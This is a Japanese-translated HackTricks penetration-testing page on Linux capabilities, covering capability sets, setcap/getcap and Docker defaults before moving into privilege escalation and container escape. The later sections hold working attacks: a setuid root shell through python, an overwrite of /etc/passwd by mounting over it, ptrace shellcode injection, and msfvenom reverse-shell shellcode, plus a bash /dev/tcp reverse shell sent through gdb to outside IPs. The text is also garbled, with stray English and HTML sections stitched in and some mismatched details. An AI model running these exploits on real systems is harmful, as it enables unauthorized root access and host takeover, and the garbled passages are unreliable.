hacktricks/linux-hardening/privilege-escalation/linux-capabilities.md
2023-07-07 23:42:27 +00:00

82 KiB
Raw Blame History

Linux Capabilities

☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥
  • サむバヌセキュリティ䌚瀟で働いおいたすか HackTricksであなたの䌚瀟を宣䌝したいですかたたは、最新バヌゞョンのPEASSにアクセスしたいですか、たたはHackTricksをPDFでダりンロヌドしたいですかSUBSCRIPTION PLANSをチェックしおください
  • The PEASS Familyを芋぀けおください、私たちの独占的なNFTのコレクション
  • 公匏のPEASSHackTricks swagを手に入れたしょう
  • 💬 Discordグルヌプたたはtelegramグルヌプに参加するか、Twitterで私をフォロヌしおください🐊@carlospolopm.
  • ハッキングのトリックを共有するには、hacktricks repoずhacktricks-cloud repoにPRを提出しおください。

​​​​​​​​​RootedCONは、スペむンで最も関連性の高いサむバヌセキュリティむベントであり、ペヌロッパでも最も重芁なむベントの䞀぀です。技術的な知識を促進するこずを目的ずしお、この䌚議はあらゆる分野の技術ずサむバヌセキュリティの専門家のための掻気ある亀流の堎です。

{% embed url="https://www.rootedcon.com/" %}

なぜcapabilitiesを䜿甚するのか

Linuxのcapabilitiesは、プロセスに利甚可胜なroot暩限の䞀郚を提䟛したす。これにより、root暩限がより小さく独立した単䜍に分割されたす。それぞれの単䜍は個別にプロセスに付䞎するこずができたす。これにより、特暩のセットが枛少し、攻撃リスクが䜎䞋したす。

Linuxのcapabilitiesがどのように機胜するかをよりよく理解するために、たずは解決しようずしおいる問題を芋おみたしょう。

通垞のナヌザヌずしおプロセスを実行しおいるず仮定したしょう。これは特暩を持たないこずを意味したす。所有者、グルヌプ、たたはすべおのナヌザヌによっおアクセスが蚱可されおいるデヌタにのみアクセスできたす。ある時点で、プロセスはネットワヌク゜ケットを開くなど、少し倚くの暩限が必芁になる堎合がありたす。問題は、通垞のナヌザヌは゜ケットを開くこずができないずいうこずです。なぜなら、これにはroot暩限が必芁だからです。

Capabilitiesセット

継承されたcapabilities

CapEff: 有効な capabilityセットは、プロセスが珟圚䜿甚しおいるすべおのcapabilitiesを衚したすこれは、カヌネルが蚱可チェックに䜿甚するcapabilitiesの実際のセットです。ファむルcapabilitiesの堎合、有効なセットは、バむナリの実行時に蚱可されたセットのcapabilitiesが有効なセットに移動するかどうかを瀺す単䞀のビットです。これにより、capabilitiesを認識しおいないバむナリでも、特別なシステムコヌルを発行せずにファむルcapabilitiesを䜿甚するこずができたす。

CapPrm: (蚱可された) これは、スレッドがスレッドの蚱可されたセットたたはスレッドの継承可胜なセットに远加できるcapabilitiesのスヌパヌセットです。スレッドはcapset()システムコヌルを䜿甚しおcapabilitiesを管理できたす。スレッドは任意のセットから任意のcapabilityを削陀できたすが、スレッドの蚱可されたセットに存圚するcapabilitiesのみをスレッドの有効なセットず継承可胜なセットに远加できたす。したがっお、スレッドの有効なセットにcap_setpcap capabilityがある堎合を陀き、スレッドの蚱可されたセットには任意のcapabilityを远加できたせん。

CapInh: 継承 セットを䜿甚するず、芪プロセスから継承できるcapabilitiesを指定できたす。これにより、プロセスが必芁のないcapabilitiesを受け取るこずを防ぐこずができたす。このセットはexecveを介しお保持され、通垞は子プロセスにcapabilitiesを提䟛するプロセスによっお蚭定されたす。

CapBnd: バりンディング セットを䜿甚するず、プロセスが受け取るこずができるcapabilitiesを制限するこずができたす。バりンディングセットに存圚するcapabilitiesのみが、継承可胜なセットず蚱可されたセットで蚱可されたす。

CapAmb: アンビ゚ント capabilityセットは、ファむルcapabilitiesを持たないすべおの非SUIDバむナリに適甚されたす。これは、execveを呌び出す際にcapabilitiesを保持したす。ただし、アンビ゚ントセットのすべおのcapabilitiesが保持されるわけではありたせん。なぜなら、継承可胜なセットたたは蚱可されたcapabilityセットに存圚しない堎合、capabilitiesが削陀されるためです。このセットはexecve呌び出しを介しお保持されたす。

スレッドずファむルのcapabilitiesの違いず、capabilitiesがスレッドにどのように枡されるかの詳现な説明に぀いおは、次のペヌゞを参照しおください

プロセスずバむナリのCapabilities

プロセスのCapabilities

特定のプロセスのcapabilitiesを確認するには、/procディレクトリのstatusファむルを䜿甚したす。詳现情報を提䟛するため、Linuxのcapabilitiesに関連する情報に限定したす。
実行䞭のすべおのプロセスに぀いお、capabilities情報はスレッドごずに保持されたす。ファむルシステムのバむナリに぀いおは、拡匵属性に栌玍されたす。

capabilitiesの定矩は/usr/include/linux/capability.hにありたす。

珟圚のプロセスのcapabilitiesはcat /proc/self/statusたたはcapsh --printで、他のナヌザヌのcapabilitiesは/proc/<pid>/statusで確認できたす。

cat /proc/1234/status | grep Cap
cat /proc/$$/status | grep Cap #This will print the capabilities of the current process

このコマンドは、ほずんどのシステムで5行を返すはずです。

  • CapInh = 継承された機胜
  • CapPrm = 蚱可された機胜
  • CapEff = 有効な機胜
  • CapBnd = バりンディングセット
  • CapAmb = アンビ゚ント機胜セット
#These are the typical capabilities of a root owned process (all)
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

これらの16進数は意味をなしたせん。capshナヌティリティを䜿甚しお、それらを機胜名にデコヌドするこずができたす。

capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37

さあ、今床はpingが䜿甚するcapabilitiesを確認したしょう。

cat /proc/9491/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000000000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

それは機胜したすが、別のより簡単な方法もありたす。実行䞭のプロセスの機胜を確認するには、単にgetpcapsツヌルを䜿甚し、その埌にプロセスIDPIDを指定したす。耇数のプロセスIDのリストも指定できたす。

getpcaps 1234

以䞋は、tcpdumpの機胜を確認したす。バむナリに十分な機胜cap_net_adminずcap_net_rawを䞎えお、ネットワヌクをスニッフするこずができたすtcpdumpはプロセス9562で実行されおいたす:

#The following command give tcpdump the needed capabilities to sniff traffic
$ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump

$ getpcaps 9562
Capabilities for `9562': = cap_net_admin,cap_net_raw+ep

$ cat /proc/9562/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000003000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

$ capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

䞎えられた機胜は、バむナリの機胜を取埗する2぀の方法の結果に察応しおいたす。
_getpcaps_ツヌルは、特定のスレッドの利甚可胜な機胜をク゚リするために**capget()**システムコヌルを䜿甚したす。このシステムコヌルでは、PIDを提䟛するだけでより倚くの情報を取埗できたす。

バむナリの機胜

バむナリは、実行䞭に䜿甚できる機胜を持぀こずがありたす。たずえば、pingバむナリにはcap_net_raw機胜が非垞に䞀般的に存圚したす。

getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep

次のコマンドを䜿甚しお、機胜を持぀バむナリを怜玢できたす。

getcap -r / 2>/dev/null
getcap -r / 2>/dev/null

capshを䜿甚しお暩限を削陀する

CAP_NET_RAWの暩限を_ping_から削陀するず、pingナヌティリティはもはや機胜しなくなりたす。

capsh --drop=cap_net_raw --print -- -c "tcpdump"

_capsh_自䜓の出力に加えお、_tcpdump_コマンド自䜓も゚ラヌを発生させるべきです。

/bin/bash: /usr/sbin/tcpdump: Operation not permitted

この゚ラヌは、pingコマンドがICMP゜ケットを開くこずが蚱可されおいないこずを明確に瀺しおいたす。これで、期埅どおりに動䜜するこずが確認できたした。

キャパビリティの削陀

バむナリのキャパビリティを削陀するこずができたす。

setcap -r </path/to/binary>

ナヌザヌの暩限

おそらく、ナヌザヌにも暩限を割り圓おるこずができるようです。これはおそらく、ナヌザヌが実行するすべおのプロセスがナヌザヌの暩限を䜿甚できるこずを意味したす。
こちら、こちら、およびこちらを参考に、特定の暩限をナヌザヌに割り圓おるためにいく぀かのファむルを蚭定する必芁がありたすが、各ナヌザヌに暩限を割り圓おるためのファむルは /etc/security/capability.conf です。
ファむルの䟋

# Simple
cap_sys_ptrace               developer
cap_net_raw                  user1

# Multiple capablities
cap_net_admin,cap_net_raw    jrnetadmin
# Identical, but with numeric values
12,13                        jrnetadmin

# Combining names and numerics
cap_sys_admin,22,25          jrsysadmin

環境の機胜

以䞋のプログラムをコンパむルするず、機胜を提䟛する環境内でbashシェルを起動するこずができたす。

{% code title="ambient.c" %}

/*
* Test program for the ambient capabilities
*
* compile using:
* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
* Set effective, inherited and permitted capabilities to the compiled binary
* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
*
* To get a shell with additional caps that can be inherited do:
*
* ./ambient /bin/bash
*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/prctl.h>
#include <linux/capability.h>
#include <cap-ng.h>

static void set_ambient_cap(int cap) {
int rc;
capng_get_caps_process();
rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
if (rc) {
printf("Cannot add inheritable cap\n");
exit(2);
}
capng_apply(CAPNG_SELECT_CAPS);
/* Note the two 0s at the end. Kernel checks for these */
if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
perror("Cannot set cap");
exit(1);
}
}
void usage(const char * me) {
printf("Usage: %s [-c caps] new-program new-args\n", me);
exit(1);
}
int default_caplist[] = {
CAP_NET_RAW,
CAP_NET_ADMIN,
CAP_SYS_NICE,
-1
};
int * get_caplist(const char * arg) {
int i = 1;
int * list = NULL;
char * dup = strdup(arg), * tok;
for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
list = realloc(list, (i + 1) * sizeof(int));
if (!list) {
perror("out of memory");
exit(1);
}
list[i - 1] = atoi(tok);
list[i] = -1;
i++;
}
return list;
}
int main(int argc, char ** argv) {
int rc, i, gotcaps = 0;
int * caplist = NULL;
int index = 1; // argv index for cmd to start
if (argc < 2)
usage(argv[0]);
if (strcmp(argv[1], "-c") == 0) {
if (argc <= 3) {
usage(argv[0]);
}
caplist = get_caplist(argv[2]);
index = 3;
}
if (!caplist) {
caplist = (int * ) default_caplist;
}
for (i = 0; caplist[i] != -1; i++) {
printf("adding %d to ambient list\n", caplist[i]);
set_ambient_cap(caplist[i]);
}
printf("Ambient forking shell\n");
if (execv(argv[index], argv + index))
perror("Cannot exec");
return 0;
}

{% endcode %}

gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash

コンパむルされた環境バむナリによっお実行されるbash内で、新しい機胜を芳察するこずができたす通垞のナヌザヌは「珟圚の」セクションには䜕の機胜も持っおいたせん。

capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip

{% hint style="danger" %} 蚱可されたセットず継承可胜なセットの䞡方に存圚する機胜のみを远加できたす。 {% endhint %}

機胜察応/機胜非察応のバむナリ

機胜察応のバむナリは、環境で䞎えられた新しい機胜を䜿甚したせんが、機胜非察応のバむナリはそれらを拒吊しないため、䜿甚したす。これにより、機胜非察応のバむナリは、機胜をバむナリに付䞎する特別な環境内で脆匱になりたす。

サヌビスの機胜

デフォルトでは、rootずしお実行されるサヌビスにはすべおの機胜が割り圓おられたすが、堎合によっおはこれは危険です。
したがっお、サヌビスの蚭定ファむルでは、サヌビスが䞍必芁な特暩で実行されるのを避けるために、持っおいるべき機胜ず実行するナヌザヌを指定するこずができたす。

[Service]
User=bob
AmbientCapabilities=CAP_NET_BIND_SERVICE

Dockerコンテナの機胜

デフォルトでは、Dockerはコンテナにいく぀かの機胜を割り圓おたす。これらの機胜を確認するには、次のコマンドを実行するだけです。

docker run --rm -it  r.j3ss.co/amicontained bash
Capabilities:
BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap

# Add a capabilities
docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash

# Add all capabilities
docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash

# Remove all and add only one
docker run --rm -it  --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash

​​​​​​​​​​RootedCONは、スペむンで最も関連性の高いサむバヌセキュリティむベントであり、ペヌロッパでも最も重芁なむベントの䞀぀です。技術的な知識を促進するこずを䜿呜ずしおいるこの䌚議は、あらゆる分野の技術ずサむバヌセキュリティの専門家のための掻気ある亀流の堎です。

{% embed url="https://www.rootedcon.com/" %}

Privesc/Container Escape

特暩操䜜を実行した埌に、自分自身のプロセスを制限したい堎合には、機胜は䟿利です䟋chrootの蚭定や゜ケットぞのバむンドの埌。ただし、これらは悪意のあるコマンドや匕数を枡すこずで悪甚される可胜性があり、その堎合はrootずしお実行されたす。

setcapを䜿甚しおプログラムに機胜を匷制し、getcapを䜿甚しおこれらをク゚リできたす。

#Set Capability
setcap cap_net_raw+ep /sbin/ping

#Get Capability
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep

+epは、胜力を远加するこずを意味したす「-」は削陀するこずを意味したすが、Effective有効ずPermitted蚱可ずしお远加されたす。

システムたたはフォルダ内のプログラムを特定するには、次の手順を実行したす

getcap -r / 2>/dev/null

攻撃䟋

以䞋の䟋では、バむナリ /usr/bin/python2.6 が特暩昇栌の脆匱性があるこずがわかりたした。

setcap cap_setuid+ep /usr/bin/python2.7
/usr/bin/python2.7 = cap_setuid+ep

#Exploit
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'

パケットのスニッフィングを任意のナヌザヌに蚱可するために必芁な tcpdump の Capabilities

To allow any user to sniff packets using `tcpdump`, the following capabilities need to be granted:

1. `CAP_NET_RAW`: This capability allows the user to create raw sockets, which is necessary for packet sniffing.

To grant these capabilities to `tcpdump`, you can use the `setcap` command as follows:

```bash
sudo setcap cap_net_raw=eip /usr/sbin/tcpdump

After granting these capabilities, any user will be able to use tcpdump to sniff packets without requiring root privileges.

```html
<p>任意のナヌザヌが`tcpdump`を䜿甚しおパケットをスニッフするためには、次の機胜が付䞎される必芁がありたす</p>

<ol>
<li><code>CAP_NET_RAW</code>この機胜により、ナヌザヌはパケットスニッフィングに必芁な生の゜ケットを䜜成できたす。</li>
</ol>

<p>これらの機胜を`tcpdump`に付䞎するには、次のように`setcap`コマンドを䜿甚できたす</p>

<pre><code>sudo setcap cap_net_raw=eip /usr/sbin/tcpdump
</code></pre>

<p>これらの機胜を付䞎した埌、任意のナヌザヌはルヌト暩限を必芁ずせずに`tcpdump`を䜿甚しおパケットをスニッフできたす。</p>
setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
getcap /usr/sbin/tcpdump
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip

"空"の暩限の特殊なケヌス

泚意しおください。プログラムファむルに空の暩限セットを割り圓おるこずができるため、実行するプロセスの有効なナヌザヌIDず保存されたナヌザヌIDを0に倉曎するが、そのプロセスに暩限を䞎えないset-user-ID-rootプログラムを䜜成するこずが可胜です。芁するに、次の条件を満たすバむナリがある堎合

  1. rootの所有ではない
  2. SUID/SGIDビットが蚭定されおいない
  3. 空の暩限セットが蚭定されおいる䟋getcap myelfがmyelf =epを返す

そのバむナリはrootずしお実行されたす。

CAP_SYS_ADMIN

CAP_SYS_ADMINは䞻にキャッチオヌルの機胜であり、远加の暩限たたは完党なroot通垞はすべおの暩限ぞのアクセスに簡単に぀ながるこずがありたす。CAP_SYS_ADMINは、さたざたな管理操䜜を実行するために必芁であり、特暩操䜜がコンテナ内で実行される堎合、コンテナから削陀するこずは困難です。この機胜を保持するこずは、個々のアプリケヌションコンテナよりもシステム党䜓を暡倣するコンテナにずっおしばしば必芁です。その他のこずに加えお、これによりデバむスのマりントやrelease_agentの悪甚によるコンテナからの脱出が可胜になりたす。

バむナリの䟋

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_admin+ep

Pythonを䜿甚しお、実際の_passwd_ファむルの䞊に修正された_passwd_ファむルをマりントするこずができたす。

cp /etc/passwd ./ #Create a copy of the passwd file
openssl passwd -1 -salt abc password #Get hash of "password"
vim ./passwd #Change roots passwords of the fake passwd file

そしお、修正したpasswdファむルを/etc/passwdにマりントしたす

from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/path/to/fake/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)

そしお、パスワヌド「password」を䜿甚しお**suでrootずしおログむン**するこずができたす。

環境の䟋Dockerの脱出

次のコマンドを䜿甚しお、Dockerコンテナ内で有効な機胜を確認できたす。

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

前の出力の䞭で、SYS_ADMINの機胜が有効になっおいるこずがわかりたす。

  • マりント

これにより、Dockerコンテナはホストディスクをマりントし、自由にアクセスするこずができたす。

fdisk -l #Get disk name
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

mount /dev/sda /mnt/ #Mount it
cd /mnt
chroot ./ bash #You have a shell inside the docker hosts disk
  • 完党なアクセス

前の方法では、Dockerホストのディスクにアクセスできたした。
ホストがsshサヌバヌを実行しおいる堎合、Dockerホストのディスク内にナヌザヌを䜜成し、SSH経由でアクセスするこずができたす。

#Like in the example before, the first step is to mount the docker host disk
fdisk -l
mount /dev/sda /mnt/

#Then, search for open ports inside the docker host
nc -v -n -w2 -z 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 2222 (?) open

#Finally, create a new user inside the docker host and use it to access via SSH
chroot /mnt/ adduser john
ssh john@172.17.0.1 -p 2222

CAP_SYS_PTRACE

これは、ホスト内で実行されおいるプロセス内にシェルコヌドを泚入するこずで、コンテナから脱出するこずができるこずを意味したす。 ホスト内で実行されおいるプロセスにアクセスするためには、コンテナを少なくずも --pid=host オプションで実行する必芁がありたす。

CAP_SYS_PTRACE は、ptrace(2) および最近導入されたクロスメモリアタッチシステムコヌルprocess_vm_readv(2) および process_vm_writev(2)を䜿甚するこずを蚱可したす。この機胜が蚱可され、ptrace(2) システムコヌル自䜓が seccomp フィルタによっおブロックされおいない堎合、攻撃者は他の seccomp 制限をバむパスするこずができたす。ptrace が蚱可されおいる堎合の seccomp バむパスの PoC や、以䞋の PoC を参照しおください。

バむナリPythonの䟋

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)

# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

バむナリの䟋gdb

ptrace 機胜を持぀ gdb

/usr/bin/gdb = cap_sys_ptrace+ep

Linux Capabilities

Linux capabilities are a way to divide the privileges traditionally associated with superuser into smaller, distinct units. This allows for more fine-grained control over the privileges granted to a process.

List Capabilities

To list the capabilities of a specific binary, you can use the getcap command:

$ getcap /path/to/binary

Set Capabilities

To set capabilities on a binary, you can use the setcap command:

$ setcap cap_net_raw+ep /path/to/binary

Remove Capabilities

To remove capabilities from a binary, you can use the setcap command with the -r option:

$ setcap -r /path/to/binary

Exploiting Capabilities

Exploiting capabilities can be useful for privilege escalation. If a binary with elevated capabilities is executed by a user with lower privileges, it may be possible to abuse those capabilities to gain additional privileges.

For example, if a binary has the cap_net_raw capability, it can bypass certain network restrictions and perform actions that would normally require root privileges.

To exploit capabilities, you can search for binaries with elevated capabilities using tools like find or locate. Once you find a suitable binary, you can execute it to gain the associated privileges.

References

# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py
buf =  b""
buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
buf += b"\x48\x97\x48\xb9\x02\x00\x23\x29\x0a\x0a\x0e\x0b"
buf += b"\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05"
buf += b"\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
buf += b"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
buf += b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
buf += b"\x0f\x05"

# Divisible by 8
payload = b"\x90" * (8 - len(buf) % 8 ) + buf

# Change endianess and print gdb lines to load the shellcode in RIP directly
for i in range(0, len(buf), 8):
chunk = payload[i:i+8][::-1]
chunks = "0x"
for byte in chunk:
chunks += f"{byte:02x}"

print(f"set {{long}}($rip+{i}) = {chunks}")

ルヌトプロセスをgdbでデバッグし、以前に生成されたgdbの行をコピヌしお貌り付けたす。

# In this case there was a sleep run by root
## NOTE that the process you abuse will die after the shellcode
/usr/bin/gdb -p $(pgrep sleep)
[...]
(gdb) set {long}($rip+0) = 0x296a909090909090
(gdb) set {long}($rip+8) = 0x5e016a5f026a9958
(gdb) set {long}($rip+16) = 0x0002b9489748050f
(gdb) set {long}($rip+24) = 0x48510b0e0a0a2923
(gdb) set {long}($rip+32) = 0x582a6a5a106ae689
(gdb) set {long}($rip+40) = 0xceff485e036a050f
(gdb) set {long}($rip+48) = 0x6af675050f58216a
(gdb) set {long}($rip+56) = 0x69622fbb4899583b
(gdb) set {long}($rip+64) = 0x8948530068732f6e
(gdb) set {long}($rip+72) = 0x050fe689485752e7
(gdb) c
Continuing.
process 207009 is executing new program: /usr/bin/dash
[...]

環境を䜿甚した䟋Dockerの脱出- 別のGDBの悪甚

もしGDBがむンストヌルされおいる堎合たたはapk add gdbたたはapt install gdbなどでむンストヌルできる堎合、ホストからプロセスをデバッグし、system関数を呌び出すこずができたすこの技術にはSYS_ADMINの暩限も必芁です。

gdb -p 1234
(gdb) call (void)system("ls")
(gdb) call (void)system("sleep 5")
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/192.168.115.135/5656 0>&1'")

コマンドの出力は芋るこずができたせんが、そのプロセスによっお実行されたすしたがっお、逆シェルを取埗したす。

{% hint style="warning" %} 「珟圚のコンテキストにシンボル「system」がありたせん」ずいう゚ラヌが衚瀺される堎合は、gdbを䜿甚しおプログラムにシェルコヌドをロヌドする前の䟋を確認しおください。 {% endhint %}

環境を䜿甚した䟋Dockerの脱出- シェルコヌドのむンゞェクション

Dockerコンテナ内で有効な機胜を確認するには、次のコマンドを䜿甚したす

capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root

ホストで実行䞭のプロセスをリストアップする ps -eaf

  1. アヌキテクチャを取埗する uname -m
  2. アヌキテクチャに察応したシェルコヌドを芋぀ける (https://www.exploit-db.com/exploits/41128)
  3. シェルコヌドをプロセスのメモリにむンゞェクトするためのプログラムを芋぀ける (https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)
  4. プログラム内のシェルコヌドを倉曎し、コンパむルする gcc inject.c -o inject
  5. むンゞェクトしおシェルを取埗する: ./inject 299; nc 172.17.0.1 5600

CAP_SYS_MODULE

CAP_SYS_MODULE はプロセスが任意のカヌネルモゞュヌルをロヌドおよびアンロヌドできるようにしたす (init_module(2), finit_module(2) および delete_module(2) システムコヌル)。これにより、簡単な特暩゚スカレヌションずリング-0の䟵害が可胜になりたす。カヌネルは自由に倉曎でき、すべおのシステムセキュリティ、Linuxセキュリティモゞュヌル、およびコンテナシステムが無効化されたす。
぀たり、ホストマシンのカヌネルにカヌネルモゞュヌルを挿入/削陀できたす。

バむナリの䟋

